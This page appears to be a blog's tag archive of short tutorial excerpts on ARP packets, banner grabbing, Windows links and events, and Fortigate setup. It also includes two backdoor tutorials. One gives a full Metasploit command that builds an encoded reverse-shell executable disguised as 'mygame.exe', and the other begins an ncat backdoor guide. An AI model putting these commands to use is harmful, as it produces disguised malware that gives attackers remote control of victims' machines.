Tag: create

C#

Create your own ARP packet using SharpPcap

SharpPcap library project EthernetPacket MakeArpRequest( PhysicalAddress InterfaceMacAddress, IPAddress destinationIP, IPAddress senderIP) { try { PhysicalAddress fakeBroadcastMAC = PhysicalAddress.Parse("FFFFFFFFFFFF");   EthernetPacket ethernetpacket = new EthernetPacket(InterfaceMacAddress, fakeBroadcastMAC, EthernetPacketType.Arp);   ARPPacket arppacket = new ARPPacket(ARPOperation.Request, fakeBroadcastMAC, destinationIP, InterfaceMacAddress, senderIP);   ethernetpacket.PayloadPacket = arppacket;   return ethernetpacket; } catch { return null; } }EthernetPacket MakeArpRequest( PhysicalAddress InterfaceMacAddress, IPAddress destinationIP, …

Python

Banner Grabbing with Python

A simple banner grabber in Python: import optparse from socket import *   def banner(targetHost, targetPort): try: connsocket = socket(AF_INET, SOCK_STREAM) connsocket.connect((targetHost, targetPort)) connsocket.send(’Hi therern’) results = connsocket.recv(100) print ” + str(results) connsocket.close() except: print ‘error’ def main(): options = {} parser = optparse.OptionParser(’usage %prog -H <target host> -P <target port>’) parser.add_option(’-H’, ‘–host’, dest=’target_host’, type=’string’, …

Microsoft Windows

Create Soft and Hard Symbolic Links in Windows

Open Command Line with administrative rights To create a symbolic link, we need to enter the following in command prompt: MKLINK [[/D] | [/H] | [/J]] Link TargetMKLINK [[/D] | [/H] | [/J]] Link Target /D Creates a directory symbolic link. Default is a file symbolic link. /H Creates a hard link instead of a …

Microsoft Windows

Create event from command line in Windows

Using eventcreate command you can create a custom event and log it in any of the event log files(System, Application). Usage: eventcreate /id event_id /d event_description /t event_type /l event_log_fileeventcreate /id event_id /d event_description /t event_type /l event_log_file /s Computer : Specifies the name or IP address of a remote computer (do not use backslashes). …

Backdoors, Metasploit

Create crypted Backdoor with Metasploit and Backtrack

We will use windows/meterpreter/reverse_tcp payload. We will encode payload 10 times with shikata_ga_nai and 10 times with call4_dword_xor.   1. Open console window   2. Type: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=1337 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t exe -c 10 -o mygame.exemsfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=1337 R | msfencode …

Backdoors, Netcat

Create Backdoor in Windows with ncat

Let’s see how we can create a non-persistent backdoor in Windows with ncat. We are going to need ncat.exe. Download and install Nmap. Locate ncat.exe in nmap’s installation folder. You will probably find ncat.exe, in this folder x:\Program Files (x86)\Nmap if you have 64bit Windows 7 system as I have. Copy it. It can work …

Firewall

How to create a basic configuration on a Fortigate

Let’s see some useful command on a fortigate firewall. Assuming that you have a Fortinet Fortigate device, your local ip address is in the range of 192.168.200.0/24 and you have a router with a public IP address 185.186.187.1 and a public subnet 185.186.187.0/29. config system global # Set the http admin port to 80/tcp set …